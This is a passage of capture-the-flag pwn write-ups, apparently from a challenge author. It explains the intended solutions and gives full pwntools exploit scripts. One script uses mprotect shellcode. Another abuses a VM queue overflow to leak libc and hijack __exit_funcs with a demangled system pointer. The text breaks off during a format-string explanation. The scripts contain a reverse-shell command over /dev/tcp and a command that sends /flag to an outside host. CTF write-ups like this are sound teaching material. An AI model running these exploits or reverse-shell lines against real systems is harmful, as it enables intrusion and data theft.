<aside> π
Attachment:
</aside>
The intended solution was to use memmove and mprotect, moving the executable page all the way down to our stack page, mprotect stack to +x, then execute into it. fs_base was out of expection, and Iβm sorry with the confusion and mistakes happening during releasing revenge challenge.
from pwn import *
import os
dir_path = os.path.dirname(os.path.realpath(__file__))
exe_path = dir_path + '/pwn'
libc_path = dir_path + '/libc.so.6'
ld_path = dir_path + '/ld-linux-x86-64.so.2'
# libc = ELF(libc_path)
context.log_level = 'debug'
context.terminal = ['xterm', '-e']
context.arch = 'amd64'
exe = ELF(exe_path)
# con = gdb.debug(exe_path, gdbscript='''catch syscall 0''')
# con = process(exe_path)
# con = process([ld_path, exe_path], env={"LD_PRELOAD": libc_path})
con = remote('0.0.0.0', 8888)
# gdb.attach(con, gdbscript=
# '''
# set exception-verbose on
# b *main+0x393
# c
# ''')
asm_code = '''
mov edi, eax
xor ecx, ecx
mov ebp, ecx
push rbp
pop rsi
push rsi
pop rdx
inc esi
rol esi, 44
push rsi
push rsi
pop rcx
pop rdx # rdi = cur_seg, rbp = 0, rdx = rcx = rsi = 0x1000
mov ebx, esp
sub ebx, eax
sub ebx, ecx
cmp ebx, ecx
ja label_above
label_mprotect:
mov edi, eax # rdi = seg_start
label_loop2:
inc edi # edi = stack_start, rcx = 0
loop label_loop2
push rcx
pop rdx
inc edx
push rdx
pop rbp # rdx = 1, rbp = 1, rcx = 0
push rbp
imul dx, dx, 0x1fb1
imul dx, dx, 0x8137
imul bp, bp, 0x2321
imul bp, bp, 0x48ca
push rbp
pop rax
pop rbp
imul bp, bp, 0x4739
imul bp, bp, 0x23ee
push rbp
pop rcx
label_loop3:
push r15
dec ecx
jnz label_loop3
mov rbx, 0xF6EBC789FE87F287 # xchg edx, esi ; xchg esi, edi ; mov edi, eax ; jmp $-8
push rbx
jmp label_done
label_above:
push rbp
pop rax # rax = 0
inc ebp
inc ebp
inc ebp
mov r10, rbp # r10 = 3
mov r13, rdi
label_loop:
inc r13
loop label_loop
mov r8, r13 # r8 = rdi + 0x1000
push 0x79
pop rax
push 0x19
pop rax
label_done:
'''
import time
con.sendafter(b'Show me your proof of work.', asm(asm_code))
# time.sleep(3)
asm_code2 = '''
lea r15, [rip+0x47-7]
mov rax, 2
mov rdi, r15
mov rsi, 0
mov rdx, 0
syscall
mov rdi, rax
mov rax, 0
mov rsi, r15
mov rdx, 0x100
syscall
mov rdi, 1
mov rax, 1
syscall
'''
con.send(asm(asm_code2) + b'/flag\\0')
con.interactive()
Also shoutout to Arr3stYou, who found a simpler exploit using sigaction instead of memmove, which worked excellently as well!
<aside> π
Attachment:
</aside>
You can get libc and control the vm regs by utiliziing the oob write over task queue struct. This brings you to such situation, where you are able to choose a base address, then arb r/w by push/pop commands. Intended sol was to hijack __exit_funcs where dl_fini is loaded by default. The memory mapping between libc and ld segments are stable in container, thus making leaking the encrypt key possible, then pivot all the way to change current_rtmin to cause exit() in the ipc protocol.
from pwn import *
import os
dir_path = os.path.dirname(os.path.realpath(__file__))
exe_path = dir_path + '/pwn'
libc_path = dir_path + '/lib/libc.so.6'
ld_path = dir_path + '/lib/ld-linux-x86-64.so.2'
context.log_level = 'debug'
context.terminal = ['xterm', '-e']
context.arch = 'amd64'
def var_dump(x, name=None):
'''ζε°ειεεεΌ
Args:
x: θ¦ζε°ηεΌ
name: ε―ιηειεοΌε¦ζδΈζδΎεε°θ―θͺε¨θ·ε
'''
if name is None:
# θ·εθ°η¨θ
η代η θ‘
frame = inspect.currentframe().f_back
call = inspect.getframeinfo(frame).code_context[0].strip()
# ζεε½ζ°θ°η¨δΈηεζ°ε
try:
name = call[call.index('var_dump(')+9:call.rindex(')')].strip()
except:
name = 'unknown'
if isinstance(x, int):
success(f'{name} = {x:#x}')
else:
success(f'{name} = {str(x)}')
libc = ELF(libc_path)
ld = ELF(ld_path)
exe = ELF(exe_path)
script = '''
set exception-verbose on
'''
# con = gdb.debug(exe_path, gdbscript=script)
# con = process(exe_path)
# gdb.attach(con, gdbscript=script)
# con = process([ld_path, exe_path], env={'LD_PRELOAD': libc_path})
con = remote('0.0.0.0', 8888)
# con = remote('1.95.148.231', 8888)
def pack_cmd(op, reg1, reg2, offset, imm):
assert 0 <= op < (1 << 8)
assert 0 <= reg1 < (1 << 4)
assert 0 <= reg2 < (1 << 4)
assert 0 <= offset < (1 << 16)
assert 0 <= imm < (1 << 32)
cmd = (reg1 << 48) | (reg2 << 52) | (offset << 32) | imm
return f'{op} {cmd}'
def store(reg1, reg2, offset, imm):
assert 0 <= reg1 < 15
assert 0 <= reg2 < 15
return pack_cmd(0x00, reg1, reg2, offset, imm)
def load(reg1, reg2, offset, imm):
assert 0 <= reg1 < 15
assert 0 <= reg2 < 15
return pack_cmd(0x01, reg1, reg2, offset, imm)
def add(reg1, reg2, offset, imm):
assert 0 <= reg1 < 15
return pack_cmd(0x02, reg1, reg2, offset, imm)
def sub(reg1, reg2, offset, imm):
assert 0 <= reg1 < 15
return pack_cmd(0x03, reg1, reg2, offset, imm)
def pushadd(reg1, reg2, offset, imm):
return pack_cmd(0x08, reg1, reg2, offset, imm)
def pushsub(reg1, reg2, offset, imm):
return pack_cmd(0x09, reg1, reg2, offset, imm)
def popadd(reg1, reg2, offset, imm):
assert 0 <= reg1 < 15
return pack_cmd(0x0A, reg1, reg2, offset, imm)
def popsub(reg1, reg2, offset, imm):
assert 0 <= reg1 < 15
return pack_cmd(0x0B, reg1, reg2, offset, imm)
def dumpreg(reg1, reg2, offset, imm):
assert 0 <= reg2 < 15
return pack_cmd(0x10, reg1, reg2, offset, imm)
def resetvm(imm):
return pack_cmd(0x20, 0, 0, 0, imm)
def resetqueue(imm):
return pack_cmd(0x40, 0, 0, 0, imm)
cmd_queue_cnt = 0
can_io = False
def submit(cmd, skipped=False):
global cmd_queue_cnt, can_io
if not skipped:
cmd_queue_cnt += 1
flag1 = False
flag2 = False
while not flag1:
if not can_io:
# print('1-a')
con.sendlineafter(b'> ', b'1')
else:
# print('1-b')
con.sendline(b'1')
can_io = False
res = con.recvline().strip()
# print('1-1', res)
if res == b'oof':
continue
if b'$' in res:
flag2 = True
flag1 = True
if not flag2:
con.sendlineafter(b'$', cmd.encode())
else:
con.sendline(cmd.encode())
tmp = con.recvuntil(b'Execute result: ')
if b'>' in tmp:
can_io = True
con.recvline()
def execute(catch_output_list = []):
ret = []
global cmd_queue_cnt, can_io
assert all(0 <= x < cmd_queue_cnt for x in catch_output_list)
flag1 = False
while not flag1:
if not can_io:
# print('2-a')
con.sendlineafter(b'> ', b'2')
else:
# print('2-b')
con.sendline(b'2')
can_io = False
res = con.recvline().strip()
# print('2-1', res)
if res == b'oof':
continue
flag1 = True
rescnt = 0
while rescnt < cmd_queue_cnt:
# con.recvuntil(b'Execute result: ')
res = con.recvline().strip()
# print('2-2', res)
if b'>' in res:
can_io = True
continue
if not b'Execute result: ' in res:
continue
res = res.split(b': ')[1]
res = int(res, 10)
if rescnt in catch_output_list:
var_dump('0x' + hex(res)[2:].zfill(16), f'cmd[{rescnt}] result')
ret.append(res)
rescnt += 1
cmd_queue_cnt = 0
return ret
start_time = time.time()
print('===== Start exploit =====')
# pause()
print('===== Preparation: Put reverse cmd =====')
REVERSE_IP =
CMD = b"bash -c 'cat /flag > /dev/tcp/" + REVERSE_IP + b"/8888'"
CMD = b"bash -c 'sh -i >& /dev/tcp/" + REVERSE_IP + b"/8888 0>&1'"
for i in range(0, len(CMD), 4):
chunk = CMD[i:i+4]
chunk = chunk.ljust(4, b'\\x00')
print(f'Writing chunk: {chunk}, addr: {hex(0xe000 + i)}, number: {u32(chunk)}')
submit(store(13, 14, 0xe000 + i, u32(chunk)))
execute([])
print('===== Stage 1: Leak elf base =====')
# submit(store(0, 0, 0xffff, u32(b'\\xff\\x00\\x8b\\x00'))) # change sp
submit(store(0, 0, 0xffff, u32(b'\\xff\\x00\\x8c\\x00'))) # change mode
# print(can_io)
# pause()
execute([])
submit(pack_cmd(0, 0, 0, 0, 0)) # oob write, now head = 0, tail = 0, size = 1
submit(dumpreg(1, 0, 0, 0)) # leak sp, cmd stored at 0, head = 0, tail = 1, size = 2
tmp = execute([0]) # after this, head = 2, tail = 1, size = 0
elf_base = tmp[0] -0x4060
var_dump(hex(elf_base), 'elf_base')
CMD_ADDR = elf_base + 0x4060 + 0xe000
# changed elf implement, should leak from stdin/out/err ptr
leak_start = elf_base + 0x4040 + 6 - 4
print('===== Stage 2: Leak libc base =====')
submit(resetqueue(0), True) # store at 1, skipped
submit(resetqueue(0)) # store at 2
execute([]) # reset success
submit(store(0, 0, 0xffff, u32(b'\\xff\\x00\\x8b\\x00'))) # change sp
execute([])
submit(pack_cmd(leak_start >> 56, (leak_start >> 48) & 0xf, (leak_start >> 52) & 0xf, (leak_start >> 32) & 0xffff, leak_start & 0xffffffff), True) # oob write, now head = 0, tail = 0, size = 1
submit(resetqueue(0))
execute([])
submit(popadd(0, 1, 0, 0))
submit(popadd(0, 1, 0, 0))
tmp = execute([0, 1])
leak_libc = (tmp[0] << 32) | tmp[1]
var_dump(hex(leak_libc), 'leak_libc')
libc_base = (leak_libc >> 16) - libc.sym['_IO_2_1_stderr_']
var_dump(hex(libc_base), 'libc_base')
print('===== Stage 3: Manipulate __exit_funcs and initial struct =====')
stdin_addr = libc_base + libc.sym['_IO_2_1_stdin_']
stderr_addr = libc_base + libc.sym['_IO_2_1_stderr_']
stdout_addr = libc_base + libc.sym['_IO_2_1_stdout_']
current_rtmin_addr = libc_base + 0x233008
environ_addr = libc_base + 0x23ae28
exit_funcs_mangle_addr = libc_base - 0x2890
exit_funcs_struct_addr = libc_base + 0x234fe0
var_dump(hex(stdin_addr), 'stdin_addr')
var_dump(hex(stdout_addr), 'stdout_addr')
var_dump(hex(stderr_addr), 'stderr_addr')
var_dump(hex(current_rtmin_addr), 'current_rtmin_addr')
var_dump(hex(environ_addr), 'environ_addr')
# pause()
ld_base = libc_base + 0x244000
dl_fini_addr = ld_base + 0x6480
submit(pushadd(15, 15, 0, 0))
submit(pushadd(15, 15, 0, (stderr_addr << 16) & 0xffffffff))
submit(pushadd(15, 15, 0, (stderr_addr >> 16) & 0xffffffff))
submit(pushadd(15, 15, 0, (stdout_addr >> 48) & 0xffffffff))
submit(pushadd(15, 15, 0, (stdout_addr >> 80) & 0xffffffff))
for _ in range(4+2-1):
submit(pushadd(15, 15, 0, 0))
execute([]) # do second control
submit(store(0, 0, 0xfffd, u32(b'\\xff\\x00\\x8b\\x00'))) # change sp
execute([])
target_addr = exit_funcs_struct_addr + 0x1c
submit(pack_cmd(target_addr >> 56, (target_addr >> 48) & 0xf, (target_addr >> 52) & 0xf, (target_addr >> 32) & 0xffff, target_addr & 0xffffffff), True) # oob write, now head = 0, tail = 0, size = 1
submit(resetqueue(0))
execute([])
# pause()
submit(popadd(0, 1, 0, 0))
submit(popadd(0, 1, 0, 0))
tmp = execute([0, 1])
protected_ptr = (tmp[0] << 32) | tmp[1]
var_dump(hex(protected_ptr), 'protected_ptr')
mangle_key = ((protected_ptr >> 17) | ((protected_ptr << (64 - 17)) & 0xFFFFFFFFFFFFFFFF)) ^ dl_fini_addr
var_dump(hex(mangle_key), 'mangle_key')
# pause()
cur_sp = 0x7fd618c82ff4
tar_sp = 0x7fd618c81008
submit(pushadd(15, 15, 0, 0))
cur_sp += 4
# test_gadget = elf_base + 0x11c0
test_target = libc_base + libc.sym['system']
test_arg = CMD_ADDR
do_mangle = lambda x: ((x ^ mangle_key) << 17 | (x ^ mangle_key) >> (64 - 17)) & 0xFFFFFFFFFFFFFFFF
submit(pushadd(15, 15, 0, do_mangle(test_target) & 0xffffffff))
submit(pushadd(15, 15, 0, (do_mangle(test_target) >> 32) & 0xffffffff))
cur_sp += 8
submit(pushadd(15, 15, 0, test_arg & 0xffffffff))
submit(pushadd(15, 15, 0, (test_arg >> 32) & 0xffffffff))
cur_sp += 8
execute([])
print('Adjusting sp to trigger exit funcs, please wait...')
context.log_level = 'info'
while cur_sp > tar_sp:
for _ in range(127):
submit(popsub(0, 2, 0, 0))
cur_sp -= 4
if cur_sp == tar_sp:
break
execute([])
print(f'cur_sp: {hex(cur_sp)}, tar_sp: {hex(tar_sp)}')
print('===== Stage 4: Leak flag via reverse output =====')
# pause()
submit(pushadd(15, 15, 0, 0xdeadbeef), skipped=True)
context.log_level = 'debug'
execute([])
print('===== Finished, you should get flag at listening port =====')
end_time = time.time()
print(f'===== Total time: {end_time - start_time:.2f} seconds =====')
con.interactive() # prevent local sighup
<aside> π
Attachment:
Chuantongxiangyan_attachment.zip
</aside>
The original purpose of this question was to test the ability to perform RCE exploitation within an infinite loop fmt vulnerability.
The full exploitation will be divided into two parts. The first part is to gain arb write primitive, the second part is to trigger RCE within arb write primitive.
To gain arb write primitive, we need to forge chain like βAβBβCβ.
In this case, C is the address pointer that we want to write, we can modify pointer C by using %{index of A}$hhn , and write the value we want in the pointer address by using %{index of B}$hhn

Looking back at the stack state in the problem, we find it's very clean, with no natural A->B->C exploitation chain. We can only start from argv.
If we want to implement arb write, we need to build node C first.